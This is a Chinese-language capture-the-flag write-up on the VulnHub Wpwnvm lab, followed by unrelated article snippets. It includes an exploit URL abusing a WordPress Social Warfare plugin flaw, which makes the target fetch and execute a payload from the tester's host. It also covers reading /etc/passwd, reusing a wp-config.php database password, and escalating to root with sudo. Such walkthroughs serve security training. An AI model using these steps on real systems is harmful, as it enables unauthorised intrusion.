当前位置: 首页 > article >正文

实战打靶集锦-37-Wpwnvm

文章目录

  • 1. 主机发现
  • 2. 端口扫描&服务枚举
  • 3. 服务探查
  • 4. 系统提权

靶机地址:https://download.vulnhub.com/wpwn/wpwnvm.zip


1. 主机发现

目前只知道目标靶机在192.168.37.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.37.0/24

在这里插入图片描述
基于已有的IP排除一下,目标靶机的IP地址锁定为192.168.37.134。

2. 端口扫描&服务枚举

通过下面的命令扫描一下端口。

$ sudo nmap -p- 192.168.37.134

在这里插入图片描述
嗯,还是只有22端口和80端口,枚举一下端口上的服务。

$ sudo nmap -p22,80 -A -sT -sV 192.168.37.134

在这里插入图片描述
又是apache,并且扫做系统应该是debian。

3. 服务探查

直接浏览器访问一下。
在这里插入图片描述
就是一段普通的文字,不需要过度解读,直接扫描一下目录。
在这里插入图片描述
先看看robots.txt文件。
在这里插入图片描述
没啥特别的内容,/secret打不开,不过这个ma和boi可能是用户名。另外,又是worpress,先挂上big字典扫描一下php和html页面,然后用wpscan扫一下。

$ dirb http://192.168.37.134 /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.37.134 /usr/share/wordlists/dirb/big.txt -X .html
$ dirb http://192.168.37.134/wordpress/ /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.37.134/wordpress/ /usr/share/wordlists/dirb/big.txt -X .html

在这里插入图片描述
除了wp下的php,没啥干货,wpscan扫描一下吧。

$ wpscan --url http://192.168.37.134/wordpress -e u

在这里插入图片描述
枚举除了wp的版本为5.5,并且存在一个账号admin,这从/wordpress首页的HelloWorld作者也可以看出来。另外,在访问浏览器前面扫描出来的php页面的时候,发现浏览器访问很慢,很多页面元素都指向了192.168.1.12的主机,如下图所示。
在这里插入图片描述
这是一个比较奇怪的地址,在kali和我的windows host上都可以ping通这个地址。应该是靶机里面又起了虚拟机。所以我们在这个地址上也扫描一下。
在这里插入图片描述
很奇怪,这个地址能够ping通,扫描的时候全部超时。直接枚举一下这个地址上的端口和服务试试看。
在这里插入图片描述
浏览器里面手工访问一下看看。
在这里插入图片描述
手工访问不可达,暂时放一边。另外在wpscan里面海扫描到一个插件,如下图所示
在这里插入图片描述
直接根据插件名称和版本看看有没有可以利用的漏洞。
在这里插入图片描述
有个远程代码执行漏洞,并且跟我们扫描出来的插件版本是匹配的,下载exp看一下。
在这里插入图片描述
代码不是很复杂,但是具体怎么用,没说,还在自己组装payload,太麻烦了,直接上网上找一下。大致意思是,在本地创建一个txt文件,里面装载具体的可执行代码,然后在本地起一个http服务,让靶机可以远程访问到这个文件,就可以远程执行txt中的代码了。既然这样,我们先构造一个payload文件,名为my_payload.txt,如下图。
在这里插入图片描述
然后本地用python起一个http服务。

$ python3 -m http.server 5000

手工在浏览器中访问一下对应的url。

http://192.168.37.134/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.37.132:5000/my_payload.txt

在这里插入图片描述
如上图所示,页面顺利返回了我们请求的/etc/passwd的内容,并且http服务有请求过来的反应,这说明是靠谱的.
在这里插入图片描述
将payload中的内容改成反弹shell,如下图。
在这里插入图片描述
重新启动一下http服务(不重启的话,修改后的payload可能不生效),本地建立监听。然后重新在浏览器里面访问一下。

在这里插入图片描述
顺利创建反弹shell。

4. 系统提权

先通过python优化一下shell。

www-data@wpwn:/var/www/html/wordpress/wp-admin$ /usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"

在这里插入图片描述
看一下系统信息。
在这里插入图片描述
64位的debian10,内核版本也出来了。接着运行一下linpeas脚本。
首先是一个内核提权漏洞,不过比我们靶机的内核版本低不少,暂时放弃,如下图。
在这里插入图片描述
另外,找到了另外一个用户takis,如下图。
在这里插入图片描述
顺便从passwd中看看还有没有别的用户。

$ cat /etc/passwd | grep "/bin/bash"

在这里插入图片描述
确实没有别的用户。接下来,有个有意思的信息,如下图。
在这里插入图片描述
意思是,任何其它的用户,可能没有密码或者用户名作为密码?直接试试我们刚找到的takis用户吧。
在这里插入图片描述
看来想简单了,不可以。再往下,在wp-config.php中发现了数据库的用户名密码。
在这里插入图片描述
既然takis是貌似除了root之外唯一靠谱的用户,看看这个密码能不能登录takis吧。
在这里插入图片描述
有点超乎想象,真的能够登录成功,于是我们得到了takis用户的近似于变态的密码R3&]vzhHmMn9,:-5 ,这个密码通过爆破获得肯定是不可能了,顺拿下当前用户的flag。
在这里插入图片描述
直接在takis用户下执行一下linpeas脚本。
在这里插入图片描述
首先发现的是上图所示的,难道takis运行啥都不需要password吗?直接sudo bash一下。
在这里插入图片描述
额,这就提权成功了。验证一下,并获取一下flag。
在这里插入图片描述
确实是root用户,提权成功,不过这里本应该放置flag的root.txt里面只放了一句话,正好应对了首页当中显示的那句话,还有印象吗?再贴过来一遍。
在这里插入图片描述
我们的目标不仅仅是提权到root shell,而是读一下哈这个文件。看看他这个USB吧。
首先通过ls -lah在/mnt和/dev下面都没有发现特殊的(其实是我不太懂),不过这里提到了USB,直接全盘搜索吧。

root@wpwn:~# find / -name "USB"

在这里插入图片描述
有发现,看看里面是啥。
在这里插入图片描述
顺利拿到flag,游戏结束。

相关文章:

实战打靶集锦-37-Wpwnvm

文章目录 1. 主机发现2. 端口扫描&服务枚举3. 服务探查4. 系统提权 靶机地址:https://download.vulnhub.com/wpwn/wpwnvm.zip 1. 主机发现 目前只知道目标靶机在192.168.37.xx网段,通过如下的命令,看看这个网段上在线的主机。 $ nmap -…...

三、GPIO

一、GPIO简介 GPIO(General Purpose Input Output)通用输入输出口GPIO引脚电平:0V(低电平)~3.3V(高电平),部分引脚可容忍5V 容忍5V,即部分引脚输入5V的电压,…...

Guava Cache 实战:构建高并发场景下的字典数据缓存

一、场景背景 在系统开发中,字典数据(如状态类型、分类数据)具有以下特点: 高频读取(每个请求都可能涉及)低频变化(管理员修改后才会变更)数据一致性要求适中(允许分钟…...

混杂模式(Promiscuous Mode)与 Trunk 端口的区别详解

一、混杂模式(Promiscuous Mode) 1. 定义与工作原理 定义:混杂模式是网络接口的一种工作模式,允许接口接收通过其物理链路的所有数据包,而不仅是目标地址为本机的数据包。工作层级:OSI 数据链路层&#x…...

rknn_convert的使用方法

rknn_convert是RKNN-Toolkit2提供的一套常用模型转换工具,通过封装上述API接口,用户只需编辑模型对应的yml配置文件,就可以通过指令转换模型。以下是如何使用rknn_convert工具的示例命令以及支持的指令参数: python -m rknn.api.…...

Turtle综合案例实战(绘制复杂图形、小游戏)

在学习了 Turtle 基本的绘图技巧后,我们可以通过结合多个概念和技巧,绘制复杂的图形或实现简单的小游戏。本章将介绍两个实战案例: 绘制复杂图形:结合前面所学的知识,绘制一个精美的多层次复杂图案。简单的游戏:利用 Turtle 实现一个简单的小游戏——蛇形游戏,这是一个经…...

[dp5_多状态dp] 按摩师 | 打家劫舍 II | 删除并获得点数 | 粉刷房子

目录 1.面试题 17.16. 按摩师 题解 2.打家劫舍 II 题解 3.删除并获得点数 题解 4.粉刷房子 题解 一定要有这样的能力,碰到一个新题的时候,可以往之前做过的题方向靠! 打家劫舍问题模型: 不能选择相邻的两个数,并且要最终…...

DM数据库配置归档模式的两种方式

归档模式,联机日志文件中的内容保存到硬盘中,形成归档日志文件(REDO日志)。 采用归档模式会对系统的性能产生些许影响,然而系统在归档模式下运行会更安全,当 出现故障时其丢失数据的可能性更小,这是因为一旦出现介质故…...

Leetcode 2440 -- dfs | 枚举

题目描述 创建价值相同的连通块 思路 代码 class Solution { public:int componentValue(vector<int>& nums, vector<vector<int>>& edges) {// get max_val and sum_valint n nums.size();int max_val -1, sum_val 0;for(auto &x : nums) m…...

Vue 中 this.$emit(“update:xx“,value) 和 :xx.sync 实现同步数据的做法

在 Vue 2.x 中&#xff0c;this.$emit(update:xx, value) 和 xx.sync 都是用来实现父子组件之间的数据同步的方式&#xff0c;它们背后的工作原理有些相似&#xff0c;但语法上有所不同。让我们逐个详细解释这两者的使用方式。 xx.sync&#xff08;语法糖&#xff09; xx.syn…...

Agent TARS与Manus的正面竞争

Agent TARS 是 Manus 的直接竞争对手&#xff0c;两者在 AI Agent 领域形成了显著的技术与生态对抗。 一、技术架构与功能定位的竞争 集成化架构 vs 模块化设计 Agent TARS 基于字节跳动的 UI-TARS 视觉语言模型&#xff0c;将视觉感知、推理、接地&#xff08;grounding&#…...

【Tauri2】013——前端Window Event与创建Window

前言 【Tauri2】012——on_window_event函数-CSDN博客https://blog.csdn.net/qq_63401240/article/details/146909801?spm1001.2014.3001.5501 前面介绍了on_window_event&#xff0c;这个在Builder中的方法&#xff0c;里面有许多事件&#xff0c;比如Moved&#xff0c;Res…...

创建Linux虚拟环境并远程连接,finalshell自定义壁纸

安装VMware 这里不多赘述。 挂载Linux系统 1). 打开Vmware虚拟机&#xff0c;打开 编辑 -> 虚拟网络编辑器(N) 选择 NAT模式&#xff0c;然后选择右下角的 更改设置。 设置子网IP为 192.168.100.0&#xff0c;然后选择 应用 -> 确定。 解压 CentOS7-1.zip 到一个比较大…...

DBAPI设置服务器开机自启动

在 /etc/systemd/system 目录下创建一个新的服务文件&#xff0c;例如 dbapi.service [Unit] Descriptiondbapi standalone Service Afternetwork.target[Service] ExecStart/your-path/dbapi-enterprise-4.2.2/bin/dbapi.sh start standalone Restartalways Userroot[Install…...

基于pycharm的YOLOv11模型训练方法

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、前期准备1.1 软件环境配置1.2 训练集参考 二、训练步骤2.1 打开文件夹2.2 打开文件2.3 data.yaml最终代码 三、train.py四、最终结果五、detect.py六、 拓展…...

预测分析(三):基于机器学习的分类预测

文章目录 基于机器学习的分类预测分类任务逻辑回归分类树分类树的工作原理 随机森林多元分类朴素贝叶斯分类器贝叶斯公式回到分类问题**1. 算法原理****2. 主要类型****(1) 高斯朴素贝叶斯****(2) 多项式朴素贝叶斯****(3) 伯努利朴素贝叶斯** **3. 优缺点****4. 应用场景****5…...

基于大模型预测升主动脉瘤的多维度诊疗研究报告

目录 一、引言 1.1 研究背景 1.2 研究目的与意义 二、升主动脉瘤概述 2.1 定义与分类 2.2 发病原因与机制 2.3 流行病学现状 三、大模型技术原理及应用现状 3.1 大模型基本原理 3.2 在医疗领域的应用进展 3.3 针对升主动脉瘤预测的独特价值 四、术前大模型预测方案…...

解决Spring参数解析异常:Name for argument of type XXX not specified

前言 在开发 Spring Boot 应用时&#xff0c;我们常遇到类似 java.lang.IllegalArgumentException: Name for argument not specified 的报错。这类问题通常与方法参数名称的解析机制相关&#xff0c;尤其在使用 RequestParam、PathVariable 等注解时更为常见。 一、问题现象与…...

基数排序算法解析与TypeScript实现

基数排序&#xff08;Radix Sort&#xff09;是一种高效的非比较型整数排序算法&#xff0c;通过逐位分配与收集的方式实现排序。本文将深入解析其工作原理&#xff0c;并给出完整的TypeScript实现。 一、算法原理 1. 核心思想 多关键字排序&#xff1a;将整数按位数切割成不同…...

034-QSharedMemory

QSharedMemory 以下为针对 QSharedMemory 的技术调研及实现方案&#xff0c;包含原理、优化策略、完整代码实现及流程图解&#xff1a; 一、QSharedMemory 核心原理 1.1 共享内存机制 共享内存流程图 &#xff08;注&#xff1a;此处应为共享内存IPC流程图&#xff0c;因文本…...

在 Ubuntu 上离线安装 Prometheus 和 Grafana

在 Ubuntu 上离线安装 Prometheus 和 Grafana 的步骤如下&#xff1a; 一.安装验证 二.安装步骤 1.准备离线安装包 在一台可以访问互联网的机器上下载 Prometheus 和 Grafana 的二进制文件。 Prometheus 下载地址&#xff1a;Prometheus 官方下载页面Grafana 下载地址&#…...

Ansible:playbook的高级用法

文章目录 1. handlers与notify2. tags组件3. playbook中使用变量3.1使用 setup 模块中变量3.2在playbook 命令行中定义变量3.3在playbook文件中定义变量3.4使用变量文件3.5主机清单文件中定义变量主机变量组&#xff08;公共&#xff09;变量 1. handlers与notify Handlers&am…...

【C++进阶九】继承和虚继承

【C进阶九】继承和虚继承 1.什么是继承2.继承关系2.1protected和private的区别2.2通过父类的函数去访问父类的private成员2.3默认继承 3.基类和派生类对象的赋值转换4.继承中的作用域5.子类中的默认成员函数6.继承与静态成员7. 菱形继承8.虚继承9.继承和组合 1.什么是继承 继承…...

近日八股——计算机网络

一.c. TCP握手为什么三次、不能是二次、或四次? i.不能是两次: 防止已经失效的连接报文突然又传到了服务端&#xff0c;产生错误 如果不采用三次握手&#xff0c;服务端直接建立连接&#xff0c;会白白浪费资源 三次握手告诉服务端&#xff0c;客户端有没有收这个数据&#…...

HOW - Axios 拦截器特性

目录 Axios 介绍拦截器特性1. 统一添加 Token&#xff08;请求拦截器&#xff09;2. 处理 401 未授权&#xff08;响应拦截器&#xff09;3. 统一处理错误信息&#xff08;响应拦截器&#xff09;4. 请求 Loading 状态管理5. 自动重试请求&#xff08;如 429 过载&#xff09;6…...

自适应信号处理任务(过滤,预测,重建,分类)

自适应滤波 # signals creation: u, v, d N = 5000 n = 10 u = np.sin(np.arange(0, N/10., N/50000...

电子电气架构 --- 面向服务的体系架构

我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 周末洗了一个澡&#xff0c;换了一身衣服&#xff0c;出了门却不知道去哪儿&#xff0c;不知道去找谁&am…...

TypeScript 装饰器类型详解

TypeScript 装饰器类型详解 一、类装饰器 // 参数&#xff1a;类的构造函数 function ClassDecorator(constructor: Function) {Object.defineProperty(constructor.prototype, timestamp, {value: Date.now()}); }ClassDecorator class DataService {// 装饰后自动添加times…...

Nyquist内置函数-杂项函数

1 Nyquist内置函数-杂项函数 1.1 杂项函数 这些函数对于日常使用来说都是安全且推荐的。 1.1.1 to-mono(sound) [SAL] (to-mono sound) [LISP] 如果 sound 是多声道声音&#xff0c;返回其所有声道的总和&#xff1b;如果 sound 本身就是单声道声音&#xff0c;则直接返回&…...

基姆拉尔森计算公式

基姆拉尔森计算公式&#xff08;Zellers Congruence 的变体&#xff09;是一种快速根据公历日期计算星期几的数学公式。其核心思想是通过对年月日的数值进行特定变换和取模运算&#xff0c;直接得到星期几的结果。 公式定义 对于日期 年-月-日&#xff0c;公式如下&#xff1a…...